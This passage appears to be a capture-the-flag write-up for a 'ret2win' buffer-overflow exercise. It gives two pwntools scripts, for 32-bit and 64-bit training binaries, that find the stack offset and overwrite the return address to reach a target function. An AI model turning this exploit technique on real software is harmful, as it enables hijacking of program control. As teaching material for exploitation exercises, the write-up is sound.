Copy #!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context (arch = "i386" , os = "linux" )
elf = ELF ( "ret2win32" , checksec = False )
#--------Offset--------#
p = elf . process ()
pattern = cyclic ( 1024 )
p . sendlineafter ( "> " , pattern)
p . wait ()
core = p . corefile
p . close ()
os . remove (core.file.name)
offset = cyclic_find (core.eip)
log . info ( f " { offset = } " )
#--------ret2text--------#
ret2win = elf . sym [ "ret2win" ]
payload = flat (
b "A" * offset,
ret2win,
)
p = elf . process ()
p . sendlineafter ( "> " , payload)
p . interactive ()
The idea is essentially the same as the 32-bit case.
Copy #!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context (arch = "amd64" , os = "linux" )
elf = ELF ( "ret2win" , checksec = False )
#-------Offset--------#
p = elf . process ()
pattern = cyclic ( 1024 )
p . sendlineafter ( "> " , pattern)
p . wait ()
core = p . corefile
p . close ()
os . remove (core.file.name)
offset = cyclic_find (core. read (core.rsp, 4 ))
log . info ( f " { offset = } " )
#--------ret2text--------#
ret2win = elf . sym [ "ret2win" ]
payload = flat (
b "A" * offset,
ret2win,
)
p = elf . process ()
p . sendlineafter ( "> " , payload)
p . interactive ()